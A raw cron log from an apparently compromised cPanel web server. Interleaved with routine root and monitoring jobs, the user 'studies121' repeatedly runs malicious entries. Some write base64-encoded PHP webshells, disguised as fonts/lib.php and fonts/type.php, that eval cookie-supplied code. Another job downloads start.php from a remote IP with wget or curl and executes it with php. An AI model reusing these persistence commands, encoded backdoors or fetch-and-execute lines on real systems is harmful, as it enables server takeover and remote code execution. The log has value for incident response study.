Feb 22 11:52:01 ip-184-168-122-23 CROND[27836]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 11:52:01 ip-184-168-122-23 CROND[27837]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 11:52:01 ip-184-168-122-23 CROND[27838]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 11:52:01 ip-184-168-122-23 CROND[27839]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 11:53:01 ip-184-168-122-23 CROND[28176]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 11:53:01 ip-184-168-122-23 CROND[28174]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 11:53:01 ip-184-168-122-23 CROND[28177]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 11:53:01 ip-184-168-122-23 CROND[28182]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 11:54:01 ip-184-168-122-23 CROND[28506]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 11:54:01 ip-184-168-122-23 CROND[28508]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 11:54:01 ip-184-168-122-23 CROND[28509]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 11:54:01 ip-184-168-122-23 CROND[28510]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 11:54:01 ip-184-168-122-23 CROND[28511]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 11:55:01 ip-184-168-122-23 CROND[28838]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 11:55:01 ip-184-168-122-23 CROND[28844]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 11:55:01 ip-184-168-122-23 CROND[28846]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 11:55:01 ip-184-168-122-23 CROND[28847]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 11:55:02 ip-184-168-122-23 CROND[28850]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 11:55:02 ip-184-168-122-23 CROND[28851]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 11:56:01 ip-184-168-122-23 CROND[29175]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 11:56:01 ip-184-168-122-23 CROND[29177]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 11:56:01 ip-184-168-122-23 CROND[29178]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 11:56:01 ip-184-168-122-23 CROND[29180]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 11:56:01 ip-184-168-122-23 CROND[29179]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 11:57:02 ip-184-168-122-23 CROND[29568]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 11:57:02 ip-184-168-122-23 CROND[29566]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 11:57:02 ip-184-168-122-23 CROND[29565]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 11:57:02 ip-184-168-122-23 CROND[29567]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 11:58:01 ip-184-168-122-23 CROND[29907]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 11:58:01 ip-184-168-122-23 CROND[29911]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 11:58:01 ip-184-168-122-23 CROND[29910]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 11:58:01 ip-184-168-122-23 CROND[29912]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 11:58:01 ip-184-168-122-23 CROND[29909]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 11:59:01 ip-184-168-122-23 CROND[30226]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 11:59:01 ip-184-168-122-23 CROND[30227]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 11:59:01 ip-184-168-122-23 CROND[30229]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 11:59:01 ip-184-168-122-23 CROND[30231]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 12:00:01 ip-184-168-122-23 CROND[30547]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 12:00:02 ip-184-168-122-23 CROND[30551]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 12:00:02 ip-184-168-122-23 CROND[30552]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 12:00:02 ip-184-168-122-23 CROND[30553]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 12:00:02 ip-184-168-122-23 CROND[30556]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 12:00:02 ip-184-168-122-23 CROND[30557]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 12:00:02 ip-184-168-122-23 CROND[30558]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 12:00:02 ip-184-168-122-23 CROND[30555]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Feb 22 12:00:02 ip-184-168-122-23 CROND[30559]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 12:00:02 ip-184-168-122-23 CROND[30562]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/senddigests)
Feb 22 12:01:01 ip-184-168-122-23 CROND[30892]: (root) CMD (run-parts /etc/cron.hourly)
Feb 22 12:01:01 ip-184-168-122-23 CROND[30893]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 12:01:01 ip-184-168-122-23 CROND[30895]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 12:01:01 ip-184-168-122-23 CROND[30899]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 12:01:01 ip-184-168-122-23 CROND[30896]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 12:01:01 ip-184-168-122-23 CROND[30901]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 12:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[30892]: starting 0anacron
Feb 22 12:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[30913]: finished 0anacron
Feb 22 12:02:02 ip-184-168-122-23 CROND[31225]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 12:02:02 ip-184-168-122-23 CROND[31227]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 12:02:02 ip-184-168-122-23 CROND[31230]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 12:02:02 ip-184-168-122-23 CROND[31229]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 12:02:02 ip-184-168-122-23 CROND[31231]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 12:03:01 ip-184-168-122-23 CROND[31549]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 12:03:01 ip-184-168-122-23 CROND[31551]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 12:03:01 ip-184-168-122-23 CROND[31554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 12:03:01 ip-184-168-122-23 CROND[31552]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 12:04:01 ip-184-168-122-23 CROND[31958]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
